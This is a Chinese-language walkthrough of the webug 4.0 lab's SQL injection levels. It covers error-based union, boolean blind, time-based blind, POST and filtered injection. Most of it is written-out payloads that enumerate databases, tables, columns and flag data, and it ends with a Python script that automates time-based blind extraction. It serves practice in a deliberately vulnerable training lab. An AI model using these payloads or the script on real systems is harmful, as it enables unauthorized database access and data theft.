第一关:显错注入
单双引号测试,单引号报错,使用单引号闭合,order by 2时正常,3不正常,所以是2个字段
union select 1,2在2处显示
http://192.168.150.128/webug4.0-master/control/sqlinject/manifest_error.php?id=222' union select 1,database()--+
得到数据库: webug
http://192.168.150.128/webug4.0-master/control/sqlinject/manifest_error.php?id=222' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到表: data_crud,env_list,env_path,flag,sqlinjection,user,user_test
http://192.168.150.128/webug4.0-master/control/sqlinject/manifest_error.php?id=222' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
得到字段: id,flag
http://192.168.150.128/webug4.0-master/control/sqlinject/manifest_error.php?id=222' union select 1,group_concat(id,0x7e,flag) from flag--+
得到flag: dfafdasfafdsadfa
第二关:布尔注入
用单双引号去测试,发现单引号不正常
这是正常页面
单引号不正常
页面没回显,用盲注,以页面的正常与不正常来判断,这里用布尔盲注
http://192.168.150.128/webug4.0-master/control/sqlinject/bool_injection.php?id=1' and if(length(database())=5,1,0)--+
页面正常,判断出database的长度是5
http://192.168.150.128/webug4.0-master/control/sqlinject/bool_injection.php?id=1' and if(substring(database(),1,1)='d',1,0)--+
burp抓包发送到攻击器,设定变量
跑出的结果是webug
爆表名:http://192.168.150.128/webug4.0-master/control/sqlinject/bool_injection.php?id=1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",1,0)--+
还是和上面相同的步骤,这里就不放图了
这里添加一个提取
得到数据表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
我的这个burp字典有点问题,缺少几个字母.....,所以这里显示出来的不全,我这里放的是第一关跑出来的表名,大家正常跑是能跑出来的
爆列名:http://192.168.150.128/webug4.0-master/control/sqlinject/bool_injection.php?id=1' and if(substring((select group_concat(column_name) from information_schema.columns where table_name ='flag'),1,1)='g',1,0)--+
字段:id,flag
爆数据:http://192.168.150.128/webug4.0-master/control/sqlinject/bool_injection.php?id=1' and if(substr((select group_concat(id,flag) from flag),1,1)='h',1,0)--+
得到flag:dfafdasfafdsadfa
咦flag不正确??
仔细看和第一关的flag一样,看来得在其他表中找了,步骤是一样的,不过多赘述了
第三关:延时注入
尝试单双引号的测试,有页面不正常的,看来也是可以用到布尔盲注的,我尝试了一下,布尔盲注也是也可以的
这道题的延时盲注步骤和第二关是一样的,就不多做赘述了,将拼接的sql语句附上,其中的表名,字段名自行替换
1.爆库
1' and if(length(database())=1,sleep(2),0)--+
1' and if(substring(database(),1,1)='a',sleep(2),0)--+
2.爆表
1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",sleep(5),0)--+
3.爆字段
1' and if(substring((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='g',sleep(5),0)--+
4.爆数据
1' and if(substring((select group_concat(user,password) from users), 1, 1) = 'g', sleep(5), 0)#
第四关:POST注入
一个全新的界面,尝试点了其他的链接都打不开,发现一个搜索框,随便输入一些,页面都正常,当输入单引号时,页面报错
页面报错
看来注入点就在搜索框这里
order by 2页面正常,说明有两个字段
想着用联合查询的方式,测试后页面没有回显,所以使用延时注入
还是使用第三关的sql语句拼接,但是结尾的注释符记得换成# 然后burp跑就完事了
跑不出来的请看第五关,尝试第五关的py文件
第五关:过滤注入
页面和第四关一样,还是在搜索框注入,尝试延时注入,我用的' and if(length(database())=1,sleep(2),0)#
但是秒开,换了sleep(1000)还是秒开,在网上找了几篇文章,才发现这道题的过滤点原来是在这里,参考下面这篇文章
webug 4.0 第四关 POST注入_在ubuntu完成一次post注入-CSDN博客
所以这个地方不能用老方法and了,改成or
sql语句
1.爆库
' or if(length(database())=1,sleep(2),0)#
1' or if(substring(database(),1,1)='d',sleep(2),0)#
2.爆表
' or if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",sleep(5),0)#
3.爆字段
' or if(substring((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='g',sleep(5),0)#
4.爆数据
' or if(substring((select group_concat(user,password) from users), 1, 1) = 'g', sleep(5), 0)#
burp跑了一下,发现不好排序,貌似跑出来的不对
在网上找了个脚本,试了下效果可以,自行修改长度和url
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},!@#$%^&*()_+-="
url = "http://192.168.1.100/control/sqlinject/post_injection.php"
name = ""
# 难得的爆长度了,随便选个较大的。
for i in range(1, 50):
print(i)
for char in chars:
# 爆数据库名webug
# payload = "1' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆表名
payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables " \
"where table_schema=database())," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆列名
# payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns " \
# "where table_name='输入列名')," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆字段
# payload = "1' or if(ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
data = {
"keyWordName": payload,
}
start = time.time()
res = requests.post(url, data=data)
end = time.time()
if end - start >= 5:
name += char
print(name)
break
效果图
剩下的数据可以更改脚本中的payload即可